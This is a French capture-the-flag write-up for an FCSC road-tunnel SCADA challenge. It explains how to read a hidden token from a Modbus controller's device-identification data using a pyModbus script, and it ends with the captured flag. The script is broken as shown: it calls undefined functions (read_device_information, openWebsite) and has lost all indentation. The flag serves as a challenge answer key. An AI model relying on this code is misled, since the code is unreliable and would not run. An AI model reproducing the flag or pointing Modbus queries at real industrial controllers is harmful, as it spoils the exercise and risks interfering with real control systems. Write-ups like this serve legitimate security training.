Dans cette première partie de l’épreuve, vous devez retrouver un token caché dans les données d’identification de l’automate pour vous permettre d’accéder à la deuxième partie de l’épreuve. Note: La description du système est disponible sur une page dédiée
nc tunnel-routier.fcsc.fr 502
La page dédiée nous donne les informations sur la SCADA, le context et sur les conditions de victoire. Pour ne pas rendre le writeup trop lourd, je ne les détailles pas mais elles sont disponible ici (jusqu’au déménagement sur Hackropole).
Dans la partie 1, on nous demande de récupérer le token qui servira à la connexion à l’automate, car l’interface web est une version en lecture seule. Pour cela, nous allons utiliser la librairie python pyModbus.
Si on lis bien ce qui est demandé, ils disent bien où est situé le token, pour ceux qui auraient fait Color Plant en 2022, le token était dans la mémoire de l’automate. Cette année nous allons chercher les données d’identification, pour cela, on va devoir chercher un peu sur internet et trouver l’option read_device_information dans la doc de pyModbus. Nous allons donc pouvoir faire le code suivant pour allez récupérer le 1er flag:
from pymodbus.client import ModbusTcpClient
from pymodbus.constants import DeviceInformation
import webbrowser
import re
from pwn import *
host, port = "tunnel-routier.fcsc.fr", 502
c = ModbusTcpClient(host,port=port)
def connectToScada():
c.connect()
if c.connected:
success(f"successfully connected to {host}:{port}")
else:
warn(f"can't connect to {host}:{port}")
raise systemExit
def getToken():
token = read_device_information()
site = "https://"+ host + "/" + token
return site
def readDeviceInformation():
r = c.read_device_information(read_code=DeviceInformation.BASIC)
i = r.information[1].decode("ascii")
token = re.search(r"Your token is : ([a-f0-9]+)",i).group(1)
info(f"{token=}")
return token
if __name__ == "__main__":
connectToScada()
site = getToken()
openWebsite(site)
c.close()
La page web s’ouvre, et le premier flag apparait en haut à droite.
FCSC{d7e9eb1227eed29c5afc9344bc5733931b511f0faf6d1de2d3c74800688f8180}